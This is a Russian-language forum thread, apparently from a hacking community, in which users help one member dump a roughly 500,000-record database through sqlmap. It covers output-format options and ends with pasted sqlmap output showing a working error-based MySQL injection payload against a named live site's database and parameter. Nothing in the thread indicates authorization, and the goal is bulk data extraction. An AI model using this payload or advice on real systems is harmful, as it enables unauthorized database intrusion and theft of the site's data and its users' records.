 |
|
20.01.2017, 11:26
|
|
Участник форума
Регистрация: 16.10.2016
Сообщений: 189
С нами:
5039606
Репутация:
1
|
|
|
|
|
20.01.2017, 16:43
|
|
Познающий
Регистрация: 20.12.2016
Сообщений: 74
С нами:
4946006
Репутация:
0
|
|
Сообщение от ms13
↑
Ага, а что говорит...?
Ты извини, я тут приболел немного - гриппую, и, видимо, от этого мои телепатические способности угасли резко...
что то да... потерял я сноровку с задачей нормальных вопросов, сорян )
|
|
|
|
20.01.2017, 16:44
|
|
Познающий
Регистрация: 20.12.2016
Сообщений: 74
С нами:
4946006
Репутация:
0
|
|
как боженька, брагодарность
|
|
|
|
20.01.2017, 18:00
|
|
Познающий
Регистрация: 20.12.2016
Сообщений: 74
С нами:
4946006
Репутация:
0
|
|
есть ли возможность в .sql или любой другой формат дампануть себе бд через sqlmap? Пробовал --dump .... но он только выводит все в консоль
|
|
|
|
20.01.2017, 18:14
|
|
Флудер
Регистрация: 19.06.2015
Сообщений: 4,123
С нами:
5738006
Репутация:
147
|
|
Сообщение от foozzione
↑
есть ли возможность в .sql или любой другой формат дампануть себе бд через sqlmap? Пробовал --dump .... но он только выводит все в консоль
Ну он всё сохраняет... ты внимательно изучи содержимое консоли после этой процедуры!
|
|
|
|
20.01.2017, 18:22
|
|
Познающий
Регистрация: 20.12.2016
Сообщений: 74
С нами:
4946006
Репутация:
0
|
|
Сообщение от ms13
↑
Ну он всё сохраняет... ты внимательно изучи содержимое консоли после этой процедуры!
то есть при отмене дампа, он не сохранит? так как записей довольно много, около 500к, стоит ли ждать ?
|
|
|
|
20.01.2017, 18:30
|
|
Постоянный
Регистрация: 10.02.2012
Сообщений: 830
С нами:
7502006
Репутация:
90
|
|
Сообщение от foozzione
↑
то есть при отмене дампа, он не сохранит? так как записей довольно много, около 500к, стоит ли ждать ?
Код:
--where=DUMPWHERE Use WHERE condition while table dumping
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
|
|
|
|
20.01.2017, 18:31
|
|
Флудер
Регистрация: 19.06.2015
Сообщений: 4,123
С нами:
5738006
Репутация:
147
|
|
Та по-моему кто-то морочит голову...
|
|
|
|
20.01.2017, 20:47
|
|
Участник форума
Регистрация: 16.10.2016
Сообщений: 189
С нами:
5039606
Репутация:
1
|
|
Сообщение от foozzione
↑
есть ли возможность в .sql или любой другой формат дампануть себе бд через sqlmap? Пробовал --dump .... но он только выводит все в консоль
--dump-format=HTML --where=С:\
|
|
|
|
20.01.2017, 20:48
|
|
Участник форума
Регистрация: 16.10.2016
Сообщений: 189
С нами:
5039606
Репутация:
1
|
|
Код:
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: fetch_country=Angola' AND EXTRACTVALUE(5143,CONCAT(0x5c,0x71716a7871,(SELECT (ELT(5143=5143,1))),0x71766a7871))-- MuFD
---
[19:45:19] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.3
back-end DBMS: MySQL >= 5.1
[19:45:19] [INFO] fetching tables for database: 'db1084280_bizcsp'
[19:45:22] [WARNING] the SQL query provided does not return any output
[19:45:22] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q]
Пробывал и no-cast и --hex не помгает |
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
